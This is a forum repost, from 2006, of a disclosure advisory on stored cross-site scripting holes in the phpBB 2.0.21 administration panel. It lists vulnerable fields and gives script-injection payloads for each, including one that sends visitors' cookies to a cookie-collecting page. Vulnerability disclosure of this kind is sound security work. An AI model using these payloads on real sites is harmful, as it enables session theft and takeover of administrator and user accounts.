 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 105
 Members: 0
 Total: 105
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
phpbb 2.0.21 xss admin |
|
 Posted: Mon Jul 17, 2006 12:29 pm |
 |
|
| subzero |
| Valuable expert |
 |
|
| Joined: Mar 16, 2005 |
| Posts: 42 |
|
|
|
 |
|
 |
|
| Quote: | phpBB 2.0.21 XSS in administration
**********************************
//-- By Blwood [renatrix@gmail.com]
//-- [ http://www.blwood.net ]
//--
Style Admin
-----------
Management & Create a theme
Lots of input are not properly "filtrate" like style_name, head_stylesheet, body_background, tr_color1_name (all the input in simple name)...
We cand ofcourse inject html in this way : "><h1>Owned by Blwood :P</h1>
but it's more interresting to inject javascript :) :
"><body onload="alert('Owned by Blwood')"> => style_name
"><script>alert('Owned by Blwood')</script> => head_stylesheet, body_background, ...
When an admin will go in Style Administration he will be Owned. (inject in style_name)
When an admin will edit a them he will be Owned.
Group Administration
--------------------
Management
Input group_description is not correctly "filtrated" we can inject js like this : "><script>alert('Owned by Blwood')</script> or </textare>"><script>alert('Owned by Blwood')</script>
When an admin will go in Group administration he'll be owned. But what's more, the groups can be seen in groupcp.php
by every visitors.
An exploit could be :
</textarea>"><script>document.location='http://127.0.0.1/cookie.php?'+document.cookie</script>
or
</textarea>"><script>document.location='http://site.com/ownedpage.html'</script>
Ranks
-----
Rank Administration
Rank Title (input title) is not correctly filtrated, we can inject js like : "><script>alert('xss')</script>
But what's interresting, if you give this rank to an user, the rank will appear in user's topics and the code will be executed when someone sees a topic :)
Now you can inject what you want but maximum 40 caracters...
Smilies
-------
Smiles Editing Utility
Smiley Code : "><body onload="alert('Owned by Blwood')">
Configuration
-------------
General Configuartion
Inputs are not correctyle filtrated : Ex : allow_html_tags => "><script>alert('Owned by Blwood')</script>
[ Video ]
http://www.blwood.net/advisory/phpbb2021xssadmin.rar |
#End here
Credit goes to exploit author.
Video tutorial have been host here
http://kisobox.com/area52/phpbb2021xssadmin |
|
|
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
